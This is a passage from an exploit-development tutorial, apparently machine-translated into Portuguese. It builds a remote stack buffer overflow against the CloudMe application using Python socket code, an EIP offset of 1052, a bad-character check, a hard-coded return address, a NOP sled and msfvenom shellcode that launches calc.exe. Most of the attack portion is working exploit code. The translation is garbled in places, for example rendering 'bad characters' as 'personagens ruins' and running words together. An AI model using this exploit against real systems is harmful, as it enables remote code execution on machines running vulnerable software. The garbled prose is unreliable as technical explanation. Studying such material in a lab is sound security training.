Building a Remote Exploit

Após a difusão da porta de escuta, as etapas restantes de identificação e exploração de buffer overflow devem ser basicamente as mesmas da exploração de buffer overflow local. As principais etapas que seguimos nas seções anteriores foram:

1. Parâmetros de difusão

2. Controlando EIP

3. Identificando personagens ruins

4. Encontrando uma instrução de devolução

5. Pulando para Shellcode

Com a difusão concluída, seguiremos as etapas restantes nesta seção até que possamos explorar com êxito a vulnerabilidade de buffer overflow.

Controlling EIP

Começaremos criando um padrão único com 2000bytes de comprimento, usando ERC --pattern c 2000como fizemos anteriormente:

Agora começamos a escrever nossa eip_offset()função. Adicionaremos nossa patternvariável como o padrão abaixo Asciino Pattern_Create_1.txtarquivo criado em nossa área de trabalho

def eip_offset():
    pattern = bytes("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac"
                    ...SNIP...
                    "5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co", "utf-8")

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((IP, port))
    s.send(pattern)
    s.close()

eip_offset()

Assim que nossa eip_offset()função estiver pronta, podemos reiniciar nosso programa x32dbge executar nosso código, e nosso programa deve travar e devemos ser EIPsubstituído por nosso padrão como 316A4230:

Agora podemos usar ERC --pattern o 1jB0para calcular o deslocamento exato, que é encontrado em 1052bytes:

Agora, para garantir que podemos controlar o valor exato em EIP, usaremos a mesma eip_control()função do nosso exploit anterior (enquanto alteramos offset), mas usando socketpara enviar nossa carga útil em vez de gravá-la em um arquivo:

def eip_control():
    offset = 1052
    buffer = b"A"*offset
    eip = b"B"*4
    payload = buffer + eip

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((IP, port))
    s.send(payload)
    s.close()

eip_control()

Mais uma vez reiniciaremos nosso programa e executaremos nosso exploit, e poderemos confirmar que controlamos EIPconforme substituímos EIPpor 4 B:

Identifying Bad Characters

Nosso próximo passo é identificar se devemos evitar o uso de caracteres ruins em nossa entrada. Podemos começar executando ERC --bytearraypara x32dbgcriar nosso ByteArray_1.binarquivo. Então podemos copiar as mesmas bad_chars()funções do nosso exploit anterior e, mais uma vez, mudar de gravar a carga útil em um arquivo para enviá-la para a porta:

def bad_chars():
    all_chars = bytes([
        0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
        ...SNIP...
        0xF8, 0xF9, 0xFA, 0xFB, 0xFC, 0xFD, 0xFE, 0xFF
    ])

    offset = 1052
    buffer = b"A"*offset
    eip = b"B"*4
    payload = buffer + eip + all_chars

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((IP, port))
    s.send(payload)
    s.close()

bad_chars()

Depois de reiniciarmos nosso programa x32dbge executarmos nosso exploit, podemos usar ERC --comparepara comparar os bytes do ESPendereço com o ByteArray_1.binarquivo:

Como podemos ver, todos os bytes correspondem entre a memória e ByteArray_1.bin, o que significa que este programa não possui caracteres ruins.

Jumping to Shellcode

Nosso passo final é explorar o programa, então começaremos criando nosso shellcode para msfvenomabrir calc.execomo prova de exploração bem-sucedida:

$ msfvenom -p 'windows/exec' CMD='calc.exe' -f 'python'

...SNIP...
buf =  b""
buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += b"\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += b"\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
...SNIP...

Agora, para criar nossa exploit()função final, primeiro adicionaremos a saída acima e usaremos a mesma payloaddo nosso exploit anterior (enquanto alteramos offseto endereço em eip). Por fim, usaremos o mesmo código de bad_chars()para enviar nossa carga útil para a porta:

def exploit():
    # msfvenom -p 'windows/exec' CMD='calc.exe' -f 'python'
    buf = b""
    ...SNIP...
    buf += b"\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"

    offset = 1052
    buffer = b"A"*offset
    eip = pack('<L', 0x0069D2E5)
    nop = b"\x90"*32
    payload = buffer + eip + nop + buf

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((IP, port))
    s.send(payload)
    s.close()

exploit()

Finalmente, podemos executar CloudMe(não necessariamente em x32dbg) e executar nosso exploit, e devemos vê-lo travar e uma calculadora deve abrir.